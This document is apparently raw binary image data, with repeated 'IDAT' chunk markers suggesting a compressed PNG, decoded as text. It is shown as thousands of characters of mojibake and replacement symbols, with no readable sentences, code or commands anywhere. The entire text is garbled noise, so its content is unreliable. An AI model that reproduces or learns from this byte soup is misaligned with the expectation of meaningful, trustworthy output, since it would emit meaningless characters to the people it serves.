��"�v�����͌���kf�O�?���:+^+9�v����$���@eǧ�|�v]�/DAM6&��[�]�s������ev��f�Z����<�FT��Ï�':f��̑�p��`x�҅U���u3�2��F�fR�5~P��C�O�3��N0�c�칈W3�2>��H3v�϶3˴e��٭����#s��]YѱSO�fAЪ-[n�E�̟�3m횃U��i��#e����"�5S���[�PQ[�2%YKQ��#ʴ�v� 3d�e�k�_;N��W6��h���v.s�vY0Yē��ك�v��U"�Zg&s�v������,/;;ez��3��*A��e�Cd��n0�'ӵ,�3l5��P���'����d�2��t�\���
���
.$^+'e��Z����˅�������K��߮����r]h�����lu@�I��"��l�%;ފ�ly�r�v�p�e;4~h��3��F�mk;�n�{a�tb�ގC�]v*
�@4�-U�9��l�Y<�tU�td������h���x\-�f��]|���@m��W08����ID(**Bmm�-�f4|>��zk|�]=��]\\���~uuu���v-����I~��`�4���e�lfVK!f� [��x��S��v����h<;v���Ñ�����bC}��fw-�m�R�L��)�1Er��%�A��)�A=�_����3233��g��&����y�����o�-uv��L�m۶ᣏ>�_���e���ضm"""��
��q˖-���k1�|L�4	�����/���Gff&>��S˾����Ď����O��O?������ի1~�x��Ĵi�0c�dggc߾}���~�x��oV�ڿ�oX�;<��d���-�vX0P��"+�fe�"����~�Y
J�jf�GD[Q�|>L�8s��1Թ�K��؈�G�
3R^?lg766b���X�x��C�-�?���b��Dd�f�5��=��j �y|"�Dt8���:tH���}�����Daa!�n��/^�2�Z]�������1t�P���`ʔ)PU��`���3f��&)�����`���hllDqq1����ݻW�o^^


p��A�<-?|��JKK�v����111(//ǭ�ފ��x�޽�}�6l؀��<�:uJ���+�X��u%��!���?�7YBbw\���AT�=��� +ٴ�Mt3�E��ʂaJD׎�|٠��4�v.�^XX�u���O>	XBp��?�(�I&CYY���j���[R���嗸d4D�����(Јf�29eET��`
��i�EQ��o����� �'s��9��V�\DC�W$��#Gp��y��Ƣcǎؿ?�^/���йsg��Ę����kǏGQQ�����O`�ʕ4h�PWo���?��s��P$����u���ᅬΝ;


p�������_�w�}��{���ѣ5jT~^�"[�g6�D}.�!��$�/��?�+�7+�((���,x���%36�1���Y�����v˧,���K��AD8x� z��ݻwcٲe���ڜ<y�|�	>����^z)�~@cc#��ߏ'N��FTT~��G@UU֮]���,�o��V����z�������CQ�[���=���
�������ƫ��ſ��/�۷������¸q���_���aaa6l>��CL�8cƌ��ӧ�x�bt��
���ߏ����̙3X�p!222������zL�0�}�v|��g���K��x0i�$DGG����-B۶m����3f --
K�,AAA���q�����?��(�={6v�څ�˗#<<s��E�����{<|��8t�ڶm�^�z�/�@DDfϞ�M�6!''���3gbccQWW�U�V!>>˖-CVVn��VTVV���?ǩS�0t�P�3gϞ�…����:����&M
����\|���߿?:`C[�l�����˅�o���$���Cee%***����iӦ��p����������
7܀�]�"**
gϞEii)�
�ǃ��\��R�-++�|��]�b�����СC�^cc#6l��χs��a߾}HMMłp��Y�3�������#�<����:u
��UW]��Ǐ��Cvv6~��'�9+V�@۶m1o�<:t}�����g��x��۷/�9����eee���k�s�N9r�<��-[�ӧO�+������PZZ��G�"11�.���0s�Lt��^�K�,��;p����p`������||���۷/v�څiӦ�gϞ�}��ᣏ>°a��Ӊ+��R�DN�̗Ȃ�욙��_2+��,3�k���nr��T__O�9�?��ڏ��zIUU���v.�nU��#��p�p�ډh444��ի饗^"4v�X�|z�����o�������)11�JJJh���F������ѣF7�x#�8q�����󑪪��{�QDD�ݻ�~��Gr�\�n�:*((�6m��ܹs��hɒ%�駟��c�QXX�ر��}�Y


���\ڿ?������o),,�F�M��唙�Iw�q�|>1b�?��^/M�0���Ruu5�u�]DD�f�������~�6o�L���4{�ljll����S�������|�A��Ƞ��Zڵk9�N�ڵ+З_~I�ꫯ���"Z�h�g�y&�?֯_O��Pff&9r���}@S�L��'O���	͟?_�ATT����A999�rݦ, IDAT�*=��3�^}�U""�<y2%&&Ruu5UUU�2��q�F����Gy�TU��������O����t�R:v��iӆ��}��UVV�…)<<�:t�@���T]]M��iӆ����TU�-[��|@��ߩ��������������_�~t��7���t�UW�رc�����ܹ�]{�z�[o��М9s�7��
����{�9@/�����Q�޽�w���z�K.�N�:�|@���
Q�hƌ����EGGӞ={HUU�<y2�g�}��O�N(77��q�߈����[@w�}���ѣ	mڴ����|�I


�~��^}�U
		��k�R^^%$$���O���=��C			TPP@�ϟ�nݺѸq�HUUڻw/=��s~��fGQ��&3���{�^�����x�rG@D�s�l���Tъ�,��hɦ}V�%�� 77�
�M7݄��p�_�^_f�gee!..W^y%Μ9��+W�m۶�ӧRSS��'??_H����_D\\���жm[8|����B}}=/^�-[�`�ر���4�WTT���W�^���Fcc#:t耘���?ɛ�������������?q�������HMM��իQWW�3g��ܹsx�������s��v�[n���Exx8����i�&�X�}��Auu5���QPP���DGG��r�}���ѣ:v����DJJ
�����Y�>������@�ΝѵkW=����A�N�Щ��#SEEEP]tz�쉘��i���������m۶ܧO�ƙ3g���/#,,L�����磾�'N��(h��
�_~uuu���@xx8ڴi�e˖�,66ӧOGLL��.**
��v�ᚢ(0`���y睨��@jj*�������_b׮]���BEE�v��ף���riv����)S���C�����+++�ѣG�Ӊ��8���bԨQ�5k��������>|8�
���j,X����.���t�Mx�ǐ��m�!��N�:����#==���ABB�����;�Ç��(>|8�����{����X�n���+���cǎ��G���Q��J�`p�@����mْ�^��MtёgV�&�ß�G��e�R�D��{�b˖-8z�(�����Ѐ�?�8����]�v��(&''#77���Ò%K����E���N�:EQPZZ����Y�3g�D�~�0}�t�<y�F��?��dee�������P�?�<
ѻwo����DLL^�u\u�Uؽ{7���%%%������w�!""���Cdd$�~�iL�<�z�ػw/���жm[2ǎÃ>��򕔔`�ȑذa�w��w8}���>���4��_V�����ENNv�څ={����'�|���x饗0i�$����ў�JLL(�={���p�ܹs8}�4�,Y��{.�/�v����5558|�0ڵk�'�x�|�
�͛���F���amm-JJJp�]w��CTT���N'���*��O24�ر#
�3g��v�ԩS6l�(



4۽���,�����O����m����СC���F�N���s��ȑ#����H�A; !!�=����p�M7a޼y��ζ�+��}Wk|)뿭|7�C��!k$B�
A��"a��0��"�4ެh�Q�����6lF��g\�x�b�S�Ddd$


0`����DŽ	&�l�W�^�ׯ����4���᭷�£�>���z<����2i�H{�^Q�����NkӾ}{\|��0`�
�ÁA�a����С�-[�iӦAUU8466������������_��.�Æ
Cll�T�ւH� ++����ׯ��.�ϊsrr������L�2%���@�����ဪ��֭���0x�`=��ٛ�LD�5k�`���x���u��_`����5��
���P˛�"�|YHH���\}����1o�<,_�aaa�a�2[o��������G�=������<��Cx��7�r���+���_�ŏLo"���1ӷ�L���x0��#�O6뒾�"僃!^���3.����n^��͈D�y�YئM�гgO�������"�^�<N�8�Á���c��ؽ{7n��f�����۷Grr2JKK�q�F���}�vl۶
Ǐ�k�����w�z����o
FѫW/DGGcǎ8~�8����8|�p�Z�&�ҥK���"Bnn.�n7���aĈ���Add$rssQQQ�K/�n�999������o߾p:�X�f
***@Dسg���M�Oƛ��guu5��y�����f���C���ի�
6ލ����(��N��%�\����(
�^/6n����3�a���HKKC�6mPXX�/EFF���Ԡ��.���@Dؼy3�:�]3+ۺu+rrr@Dp��X�nΝ;g��=j{��i���lgL��G����Ǿ}����ӧ������t�/��R�>}�ׯ�}�݇7�|��a����ĕO��2��ϰ�x?&J�Q௙�Q��/�/ʎ��C�Zc�9uV鼢D�y�������c�…��dcbbЧO�o��XhllDuu5���{�p�
:t(.��"�k����?�aaa����ѣG���$�<y�~�-�����/��t�[n���ފ3f 99�o��6EAVV\.���:��:uœ9sPUU�#F`ƌx��'ѹsg�<y��I�s���m�N��`���5j�N�������tbɒ%8q�����aÆ�]�vx�����~�'O�ĉ������oơC�p�W`ƌ���O�3g����
��Ν�1O{2�;��k�S�NAUUTVV�9s���KKK�.]���ɓ�={��є���z(--�믿Fqq1�v���X�9�������~���(���(((�޽{��TTU�SO=���X̚5S�N�
7܀���{?r�jjj�v�q����ÇQSS���z�Zmm-�?���5�\�����n���a����&N��aÆa���9r$n��&l߾������\TT���r�|>���߿��XGL�3����9s&��.\��8p ���q�w�o߾��Ɂ��ENNRSS��CAUU��2���=�8qp��A������mO�<�v��ᩧ�BMM
F���ӧ��GEjj*~��ߢW�^��Ɂ�����A�^�p��wCUU���;�x<��ʂ��ԟhcǾUb����ꈜ7��#>`�f	"�D�[��E2�{a��gk�l/,;4D
�/Y���Ex��+��TP�O��*222������رcطo���p����p���v�Z�?�\s
��󑟟�#F ))	��g�%���<|��w��ɓѶm[�����tb߾}8x� 
��/�X(�֭[�q�F$$$`�ԩ���
z<x0BCC���X�t)���q��cȐ!�|8q�Ν;���|�����ח
JKK�l�2444��Gjj*���U���~ddd��k��M"BZZ�������Э[7����O�v�nݺ����\8�|>ddd��|>�������_�LOOGdd$���;t��
���X�l"""p�%��p�\�z��ӧjjjPUU���|}��]��l����X�b:v숌�����M�6�ӧPRR�e˖��b�ĉHNN6�TUU�n݊���1ҷo_l޼Y��(
���+Wb�ȑ:>��V����!###����,]�ǏG������Zm��-����=z��p�\�|HJJBFFΝ;�ݻw�z�ҥ���kL�2��娯��+���e˖a˖-�߿?��둓��Á��z�7���8v��=
��	�χ�������ٳػw�N�G�(,,DHHTUEhh(ڷo�����A���~�	6l@۶m1y�dDFFBQ���b���		���q����ϣ��Daa!���
���/�VL�r�~�n]-�m�x�@q��d�L[+������e��?��ʦ�v:[td�ZMIEue��h�#�fV���,�Z�]]Y�`W6Q��x���LRַ�;���AC$�v��-�;.���ˬl���>���Y�F/{���b�
�[�.`�÷&I
�~�t`f�2<�&��qQ[@��dg\��Z�����Y�o���BBB��.���U=���ge0�'
bve
(V2�h�|>��j�\/�n�Y$K��d�.O�,X��U�8��;Ɉ�DC�_�5rss����%�f|�;w�f͂���ܹs���Z�r2kkk��o#99)))���Dii)�L����h[�2�#+�>���֎e+�������Z0é���@t��@.$h
		���l��1��fx�^3���]����/��ǃ�#G�������馛p��Y���(..Fǎ����t�/�N�<���T\w�u��ӤI��o�ˠ%2�Vf���v���III�{�$+�&v�4��)))A�^����(}��Mf�.��ӧ��_���]t���]^e3�<�h�|>̜93f�ȑ#�����%�/4^�L>���GK阕�xC���S6k1˸���<}�e�V�H��_">�,�
���D�m֬Y�裏p�����7T�M���ݻ#22_}��^������گ��?�0F�
"BYYY��tv�n�n�'�%=
��ɓ��?bǎHKK����et�������ꄅ��L���2ir�y睈��ĬY��a�\|����"|v��]�1�u�ΝX�x1Ο?��#G��Ld|Ç�~�"�_
�;���l�-�/6��l�u"��c�"�<v��A�f0�Lt���?��"##����?q�z�m�6�?��bРA���G]]:���Z�m����صk233����;v ??_|1���`��㵇F�.]ЦM�~��r�v��}�^;g�տ��[
�k��]ZZ���$������P���ؽ{7EA�n��������:���!33�֭�;V�n}>�oߎ��t��YYY���̙3رc|>�����d?~���(++À�i�&���aĈ�ܹ3:���R��hhh(jjjPWW�ۍ�ݻ�~��������2�رc�ر#.��r��̴�}RSS���ƌ���b���"11#G�4贱�������GXX�������=z`�hhh@~~>�n7�����;w��k�ELL����i�&"""0p�@��
�χm۶�رc�ԩ��i����ϟǕW^���]n��V�ZFFF",,Dii)jjj���Ç������@zzz��?p����P__��={�f�;V_�r��شi�p80x��7�Y�޳gBBB�|�r�:uJ�U@�{�8p;vD�޽���<��n�\.���`���;v,ڶm�ۍ͛7��������Ζ���7Kj�k���l��˒U���k֎���ev�я��ʪ��z�D���=_��O���	c����[V��{�졔�z�h�ƍ���B�|�
566�m��F={���g��c�=F���TXXHn���~@S�N�
6�UW]Eaaa�p�B���iذaE���4��@:t�e˖���T^^���5o�<@<����ٳ	=��DD�����t��i��


t�m�Q׮])??�&M�D7�py<Z�|9�����N�w隸�8z���IUUZ�j)�B]�t�+VЇ~Hh�̙��*y<���)99����O7�|3]s�5��xh���ԹsgZ�t)}��g���D���t��1JHH ���Ӻu�(>>�.������ӧOӀ�}����i�ҥ�(
�����N���4a�ڿ?%''��NK�.%��A������?��O@����r�Jzꩧ=��#��w�ѣ�>J����ŋ
���x��W_%4j�(��ͥY�fQHH-Z��<��_��ѣ��7�$��E�>�,���R�>}��o���J8p ]s�5���@DD�f͢��ڰamݺ�"""�[�nDD�u�Vr8���D���ڵk��tRϞ=����t=n�8jll���~��������4q�Dj߾=����G}D111�v�Z����M����hѢ�����C��P�n�hŊ��e��{/��JUUUt�W��ѣ��t���Ӏ�=�x{��������]��꫆�?��G��==��Ӕ��I�?��аa��w�!��E���������
��{����:u��If�畨LV{fK�l�,Y3���e嫭�Ee�$d�_��`:¬��MƂ;Ĭ�W\A���t��!Z�`�>rrr=���DD�e�@3f� UU魷�"���s��!��o��?L�cF���hذa��N'͜9�***�r�2}�t���iȐ!B95g��OPee%���RϞ=����.��"jӦ
��nRU�.��2������:y�$EDDPZZ��P߾}�����_M��У�>J�����)55�jjjh��E�����t'��x(++��ɓ'���O�>��!C�PXX<x����;Faaa���IEEEԧOz���i���N�>�,��������
0�|>}����&N�H��Ҳe�=���Z�f
�ɓ'���TTTDaaaԧOjhh��N�>�֯_Oiii��W_�#�<BhŊDDz��裏h߾}�r��ꫯփ|\\�@jjj(::�������ܹs������E��{�����}�����F5554u�T����#G��<|��WTWWG			Խ{w������F�޽;u�ؑ*++
㢸�����)##�TU���2@�\r	���oj�`�"�&����њ5k����/^L�w��z ݷo����UW]��\DD麟8q"mٲ�����O>��_~��g<����m9��@k�P�(Z�z�A�v~�E�&���e�� p��EuI�t%Zd�=M�x�J�_n�3�?��=�9���xt��w�y'�����l���+���$��I�-[�FFF�GGGx�z�<�k�+W��k����_~�.8��+W,�}��ӻv�*|j���
���111ظq#"##QWW���Bt��.��� ))	۷o�7a��ZXz�����A�K��ra˖-

���;��7���s��Avv����=EQ���@ۜqϞ=z��߿111���@�K�]�ݔd�QQ$&&"$$'N�@MM�^/::Ç�7�|��@_�Ѿ��e��	흚`��uTT֯_���P�i�����P[[��\��Ѐ����ݻwח�:t�͛7��ѣ�ׯ_��֖5����5�m�������!//111HLLDdd$���i�&>���hhh@ff&�[��ϟGrr��PTT���B(������9nÆ
�����R�񠝋���q#*�ta���/�<�(�5�{!,~�9���ϖ�a��)����9i�V�G֖o����߇a�644��)����<X/�=h�l�|��7�0a�z�)47�x#6n܈O?�3g�h�B\\��{�W��5"�m{�N��gz�mW��I���FK�wr��Y444 ..Ç�
k~�I��b3�,//�K/����j<��C�zvh��'��t
�ܵ�


�A�r��t]��n��X�A���h����� �om��/��[oEzz�~]۾F�CQ�	J��Κ�&�������|��\~��HOOG�=0q�D|��'X�h�n�GEQ��������,N�Mvv6�ەU�i�S�>���
fnj_3���-Jf��2�o'�)*n��;�`G�l��ʢ�d��Np�fEǬN�v�жm[�������:���b}7׊�
�Ub���w���4f�L�:�=���+��	&���ѣ`۶mz��'O"..1118��^����# S�=X�m�6���'�N�:��ٳzFID())��ٍQ��ܹs��c֬Y��ve� IDAT�D��M�du+**���<V�ݻw�GZZ��O�?E}�?�p�֭z�S�N�ܹs�8q"�n7��.��RRR���j�|>�###�Y�՘�@�}M&V6�/�ܹ��و��ALL����%KP^^��;v��Zyy�avǃ6ƴ�м�3x���E?�.?�x|v�i�3>e�e�DF~Fb����Ot�m'��O�X�p|{�6"0���m+�ͬ~XX�~444��;�ĢE�0{�l�:u
&L@�.]t#޺u+�N���kY��,����>''G�O��P]]���8}_-t�ݺڵ��jS'0c�$$$���/�����oX�hڴi��3g��ٳ8r�jkkq��3�v$�<ڲ�-�܂:��?�3�<�w�y�>���p�wBUU̘1���?0g��={����x<�[���_2�|����֭[�z��*jkk���(���ׯ��͛4�+�=j�K�Qb�9�7�����w+�_�d�����֭[��]||<�O���C�"==�7oFUU�;���z444����r�]�v�������?w�͈o��ft��~�!�}�Y���;x��w�t:�zq��I���8v��{bb"�N���G��̙3(--EQQ&N��/�i���V_��~;���
���
lذ��3F����TUU��>È#�����=�/^�^x!!!�f�{�AHH^x��������������.|����"�l}�����lQϓȗ��;�͛����H���eDh�80^�af,�tY��(ӊ�v2d�t邒�`�ԩ>|8ڴi�I�&�ȑ#8w�~��'<���8q"***�c�\z饈���E]���������HII�ѣG1`�(��>}����������b<x�V��o�z��#G��ȑ#�߿?������J9rDll���+�]
M���x\w�u8�<��ك��x����Ghh(���Jt���7oFAA����_X�j�w���L�o����HIIAff&�������	&���{��ATTf͚���p>�:u�e���p��c�֭�����}>���F���}��ɓ'�}�v\u�Uؾ};���ѫW/TTTࢋ.�������؈��rL�4	���G�Ν�w�^ddd�G��ڵ+���ѳgO$%%�[�nػw���Ujj*���u�;v�/F����̙37�t���~�z���			P]�v��(�֭�
��[����F�lpzz:BBBp�5נ���W�Frr��Iehh(��ӑ���S�N!//�z��7���H����Ǐ�ٳg�a��o��g�Fll,.��b=���o~�ۍ��0dee��Gtt4v�܉}��a�Сx饗�4Mf��;t耼�<t��E��_�~��k�k�.���!??����nϚ����/QWW���t����`˖-�����!C��xp�e�aڴi�|8p����1w�\DFFb�ڵ�۷/:v�復(
���1|�pTTT`Ϟ=�ٳ'~����!K���������>E�H�8�:�����?<&Z�2��*lebVkb"`7S�C�?�I�v�%<�_�+�o�g�ڵ5jn��V|��Q^xشi�x�
�����_����W��5{aم��c��?�	f�X�ێ!��Xݳ�˗ٽ3�dv_�l
2��v�Ȁm+������Lo�u�z�Ѱ�Ί�`h��ncc#6l؀N�:!//OyR��Jn+~d��"�z�p���x<(//��-�'�r���P}"*�P���?�ῥ�Z�3�vv����n�����f$�v7^�>��ʰeKj2\"��8̦u��'Ӎ����h�i��L����d��a�/��E�n����k�v�>�/�s�V6(㣥���UUUPUU���L�`���f4��=,;}�K�������ʡ�,d��3����WZ� b���"s�f�Cd|2G*��ΖZ�O�Vȷ�Z[��'�N0F-՛�� (�ie�v�Ѱ�kGYp��]ăUyK���]�dz�Y���>�������+��lC�ގ-Y�{��"���cg	K��$l`x�Pdtf�,�N��U ��lQ}]Y�����O��6��������1�3�2�Eْ�E���^�"C�Nf�����
~�l�m+�%�Ƿ�Y�9;2�x�j/��=]3�%���k&��q.�Y��<Ɏ"ެx�Sf|�ƿ�'�8d��qu�
D��/a���o�Z��G��N��]f��B�dy�̠ZJ�/���
>�Vnƛ?,X%f�����fE}d�@Z˯L�<nQX���v��x�ƚ�Zf|�l�B�q�}k�b\��Z�����(��e\�N����EԆ�Q�E���h�e�y=���'�xe��]�ـ=^�2��UD��y�h�pY�+�93��u,�*0�v+�s�fz�
+=�	�v䔁n+�؉՘�Y��=��2[��(И%�:f�+�V�%�օ�������:�%8��ٚ���Z��M��MF�%��F����	?�1�_�1^6[e�:��f3�Ȳ�`p�Dik����f��`��-�[�%m��Boo-�o�Nk��U�^��~	')��B�
&����f	-�k�,�����=ND+"�͗��e���
��q�)(���"�&�/W).��p�e�fK��O�2�s��L�.~Y�Y�+��]k�`�_;m[B��6v�Pk۰e<�0i��9�Xk�4XZvʂ�Gt0p�tY�_���D���6��R��YF�G'i ���P��'���+�
�¯�
P@�Ӏ�q��	��ݗ�����f<�n°D̖[du��0y�D�d�ӌ�,*�44��[v�`�3��6�,du�x���`�h��B���iٹgd�VDmD�.�44:����e�_BW-�L[ٌ��Y����B�G�9h��7�S��`�Z�@p�r��y��..��r\h��
��v.�������Bp/h ��?fS�ES�z�3Q6l�����U�oI�ζ�ʠ���ܸ��5{xBvߌ=ֶ�ַ��.?--k
�x��n�t!kc��ͷ��s���8��������ΌVk�8x\lr!3��;밓1��f0���Ӯ��а�ew�+�~������産5����o����/�;���z=�����2OQ�`'k1�ִ��q��2;���U����6��R|vq��f���TW��7˶����|��/D�](���5��k2�/��o	����4�v�%
����]"���!���0�'zf􂝁���~D`�;���J�hX�l�N�/�Y�ڙ��d����3VN^���&E�����9Hd�`q����V�1�meG2}��e��U��Xe�2���Hƣ
;6k�G�l�)3�cV���דl��
l��d&��+��@�oJ��C�W,�{olYrv�2�~���{��ګ���ջ�%-��@�fB`<#< Cx"XL���a31lO�@���b3�l��Ҵ�F굖�ڗWo���Of����W��[Z���ᬨ�����y���d�[�
��I�M	��w��!1������u���>�q�����Os��I�
����`Ds�Kk��A,���ף�省��.
k7����y���ԝ�Е�w��+ʲ�s��@��}�[��gYL�K�$�P%I�P��΀~/&MK�"��<�$��z�J��v�Z��9I��)�ԔYA�������EQP��a�Z�FŨ(c0��ҶQ(tY`2�[�pZ>�NJ�&��$M�-��
�aJ��LMM����m��
 ',���|C��t��RFZHl�B�c[Tj���SE�b
ɡ�Y��o�d9JA�
\Wb�.En�w#l�z��$�r��-�1�s�P��ĶZ�h%�U�5��	4%Zʲ�Z���%�0#�B,��{��!�"�mڕ߂��@�HK��a�P�&����87�"Ic��� ��
Z)��&i�)��5�c�lЪT,���x�:I���: ��ji��H�K���9β�|�}k[P�,�Ah� �P
z��T<�Z3 ʆH���	*�(�K
N��_�W���>�+-�F�{��w�D?Wo?7�֕����������۫� Lo��8�����1����u���ny�p�9����{�9v��f�ns7.�Xl������A���y��wa�.��[Gk�6z���(J�"��2�J��HK�R)�<C����A��(��"ˑr�C�#��4fS�m	+cJ�A�C)�\�)p\�J��6���`�6�SP��$Y��6�y���,�N���B���q4F�x�Mk"������ p��ϵȊ�Rk�4"�;>6K��A��1&H�Т0)ؚF�N�rj�*�)p\�$α=�J`�y��.e��l˶�m��(��H�T�>G�O�n7��^/Ʋl�E�Uj<�G��]�4�)�����������eFkri��DÜ��y��KE%�p}�,��m�A�E���	�������L����T�&Q�aYE���”
��~�d{���Ѭ�	*���RJ��dy�6BH��=�q(�z�j6�,�(J����²`	������d	���CGoF�ޏ�c�w��$���8�� ���p��a\�n~�q���2�>��4���
��1כּ[�q�O�{�{Yx{YN{Y0{�ӝ��g1��{�ݞw�cg����[϶-AL	�k��aH�c4��mI�+��s��M
�m�f��m���>��q�tב��"2X���FB�(r\�%�",ˢ�
sh���c[x~���V*
���)�c3��]�(�>(C�
�+�Z����C��$yZ2}��Z�1�l'�٪cˀv�'������Tm�j�!���H���̱}�Z��d0H�.����DA,R��H��'LN�0���%�%IR\�ä�jؤ���yu&���y���
��VI���8E�P"%|��`I�
��O�6I����G�u(��p��HKz(UP�ظ�CV�$qN�i�,̴Ifg�d��'[dyɡZ�,����%U�q���\�a
	�q�e�pP��O)%Zk<��\�e:\z�v��jx���xZa�,�T�u�d�**�*�����F�]�t?+c?:�z��8�qDv�|��ݬ���n����f?���g�����n�m���A�n�[���q}��v/��W7��ƺ����\��<����1�,=�o�m�� �4�c���qFZ�۱p� /��&�
�$EA��"K3l[��_�ۏ�VC�4�l�B�wܻ�}�$�€���n0�n�e97o\��L�� �
l�gc}�Z�8p��$�^�L&����pH���4i˕ J ���!yn�{6~��,�,�6]A
I�=9���-�w,|ǧ�7�Z�q�l�"�&KZ�I�R��5�U߫��H�n�jă!�����)�BQ�l�o�86Jk|ߥ,�� Iֹt�2(I^�D"!�Tɒۖx���X���\<WbLFa4qY0=;�����`�ݢ�I��F
��$ɩ�+�
l���(��l�j��Ʀ�M�,��N��O��U,���VY���,ڇZ���
#ƒ�qJ�����s��8R�#0 � *IL�0�b�2Ph�<��h �(U.3�����S��=�qa�$��\�����YvP&3�A�ԃ���F��j߻Y^߈��X����{���e۵�������&l���=u̦�Jku�_˒e��9��(���f0�Dq�
c`���q����2$4ju6�60\�'�3��@ Q���t�)=��h�Ѻ�(��R����{�Z��[�)K��{؎E��Q��$��;��nLN5pQH��aE�jW��LA��2��#�E�����23;����CY$�� �=B�CI�	&[�\�r�C��Dɀ۷7��*������^\�u,��P����_�qlVW7��)�T��M�,A�)-,KV}�76����hm!m߯P*�m[���^����sGB�s�
X��R�Am2�2��B�l��p�#E��,	aؠ,4�(�(�0�9YI����~?!Mr���zDi�ha�ݑ_kE�^%/s��(��,K�	Y��KM�H�ƈѥP���n�0JcK�u�H�fG4�(�X`�
c$�N����]��N:ک����;�s\�턶S#�M+|#���~��NW�^���k��{1�,���<�����w�8v��˲;�Uu���˪�k|���g�t�F}�������;�Diƌ4?#����1�\Y���\�@�Pi�4�5��B��Y�bII�i�$��&���~�
(�]�j3D��4��b�0`	�iIt�QZc�V|F�t�֊z#d8L�€�T��jc��8�Yʇ��8r���x�c�LM;|�?���Vɒe�u!K*AH�g8����ܺ�A7�ʀ[K+96C���+.��#dL�'�!q���DT�tVҬ��J�5:�!��R�Fu�a/f��ݤG���yk=ܪ�_�%�� 
GO'��.����r{y���
H�Q �U��1�ӓ�ِ��I��K%ضCYjZS�D*�;T$YJ�v�>$�q��4’HI������*��VJ�d�AH�&F���V�A
�+6Q?��-�/�ЉS�J��jͧV�0U�,-q�*���P9Q�ϩ�&)n�!A�R�F�2
��p�E��!�b$\t�q��f-��\Sh\�+4�RH�;�=�,ًq���GĻi��^mwsi�v����4�;�F�s�v�� m��o׽�^��~�ț��;���vs�ݻ�FƖ�$����n��B ���)�6��CVjJ���(Ҳ0F�l��4�Uz�!
�TQ�����U�����O�(t�7X�ë��C�b����e���`X8<I�ߣ,a�IEa��	a�º^%�F�I�̔M�6d�]CG�(:ǰ?C{��ܬ��5,��\Ϧ;�p��qr[���R*M��,�mp��"�`��Ur���7�n��X׵��>���(gf:$/�s7�8��bc�$I]�\�X��ly�8y�^z�R���L�[t�	eY��a5z�
l�F��3jV�K�e�3�8VB��=�B��>I�'�5�
��ю�<��tz]�Gg�����7�˄<����I�t�3i�`	�^7�+�����a�]	�jͧZ�t{��C-��@!�\I�RA�$�%I��D�>��c[6Ia��F1��V׶A�:B(�4��8rw��~��[�N��w6G�{�A��N�w�u�tк��Xv+?c���S�������K����I{	����[J���\�m&��|�4B�Ҩ��Tp�
ZQ
<�M�z!r����wB*�G�YG)�v3�u,�~��,�\�懄~��|�E��01�f��B-�r��o�\��F'`����
�q\�����	����ss�G��Y�x�ɓ\[����I~��9���J�����j���:�׷�Qi�eB,��B�rI�e�r�!�8��&�C6�.A ����GYY��I��,/��ƸQayy��`zn�F�Eg�C���!e��tc��&�A�?�9z��0FZ���au����4e�0�ѐFÁR�g���%���l2�(5Z�XN�*K�%��)��m�F�����CkC'�c�6�K���g$qLi4���� �F1�"G�b�#KJª��٤ѐv�����G�*� �Bx�Be)x?p��.,�J�2�I㘰RS��h��g��<oW�ًo泌���>��.�h�z�v����q�����,��~��nc�٭�7;���y�� �ƍq/�޼�i�q��~8��ʶ���o��D��z�kr�,
/�5Ϧ(3<i!T<�2pI�������k��ik!�F�?u��af�E�A�K<|��O��UBX���)i���a؋�bt��ZX��Z/�ܵ.�u�q#a������|��k�o���$���4j5��*F;�S�:�cfr��Jr�A?����.�(A<���<+0BQ��\�<p�4m��:�X\^êUYY�$�K*U� �"�7��*I��Ѭ�^e��R�l�u)T���3�L̈́T0+xz� IDATќa��2��>M������)<�u=J`qe��P��Ĵ��Fw�*��j�A/R�%Y�R�8ƒ|I�砠,G.O�q��A4�vn-�PoU�+�))�'��eJ�dy��9�<�ȱ�(Q�M�m	�kay��HiSq|�@e9y`�>Q�'��$MRl��]�4e*�$�+�f�)4_Gz3|���g'�Wgg���C3�ܖ���Z&v��{���7���g;nfG������bۯ1{�S쀳Y�x�o��{����{ƶc.��ohF,$��t/�9�<�O�D�\o��q��.��cs̝9M��(��#�a�f��A�K��Q�5ϋc0��vϵ��rVW֩V}�±�F�KMV�HU�G�B��
���ׯЮLҚv��!�n������ԫUn\]$�%`l�T1�F�%��U^�|�'
8v£��c�:W/u9zb�վ�۳���LE���=Ɖ�mzq�a��!��B�D�C�)�L��J�I���T���H%!.�����4(t���M�XXڢ7�ŀ��q]��ˋ��$8����2yV��
�f@��{Q��|R��K�LO�i�*�:G�g9>?I�s�x���K\ۣ^m���mLѬ�	�ìܾ���j��O�^Fgi�"p��E^��9y�c�e�G(I��E�
�-@�ԛ!�J@�����(rM�P�1�[���%H�^��
\<�a���!Ҳ��`	!q�>�5�$f��4��S��YyIg�р��#�4EX�iw/zۏw��w �1��:�76��hJ69ܞ��uހ�n��1��]w�=�A`�qe��__��m�#����`�
<�i>�R�[g͍���{�t��㭓q��#Ö�Z���
(�(�.@CiJ���h4Jʲ �Lk��`���[*�)
J
����h;�1��Ⱥ�u�q$�4���(�7n^��8L:��il���;Hec
9�ޠb�"K� �sFۊu)��?=���,�g�y�4˙�;��*g<B�X�ue��E���AښJh!��D��ք^�4�������i��f}%bm���<gyc�v�M��
%-0�j�=�&²az��ח�J3�n�|}����j��f���X������X\\cu��‰y*����V'!�-6���T���0"[&��n{�L̷8�C���JP#�R����BiB�&K��BB{����
�V�$����&Y��%m�*i>��=\�Ò6�O����hN�8�yQ�&G�h��Gk0+ÅHK"0�0@P�%qD��I���8c�o�nאՃŁ���^������d�;g/"�Y&�7�ؿ���?�d�L$8��@��X�;cq�[�{Y1{	����zoF@��۳�!�tH�l�%)�� @�vn	�BA��)Ȳ��(�TN�%XR���4�g(� /!��"�(c�b��<��F\h�l�bb���J�F_��rnj�yw)m�(�0��	�n�����)�ސFk1LqBEi'�|��noP�2�VA��,�R(U�Mp��Z���`L��ea�� �~��D���.y��J�6�EN`I�,�0�B�~���%�bu��ky�Հ��n2�j�1�����2E�E�
�=�/��G/��"t�$��`���XnI�js؛�Vk�
E7�Ph���n�m+�r�6y�a�6a5 �r� �"�zTӐZ�N�?ڙ6h4�DQBQ��a�G�Sf?�4<��6$J�(�@�)�Fc��q��$.���Q�LX���@�׶)Ғ�ȱ\��}2�077��@�Uٗ�vsK欄����I�;��������/��+�s�orYa�\�ew�~c���;�Nٛ��Ʋo��i�38
#2����wk�a{ڋ	�`����J�j?�0& B��@�7
��`p=?�i�&1��\�&IS4��Ԃ �sh�׮^%J�Th� '�xLMLr��
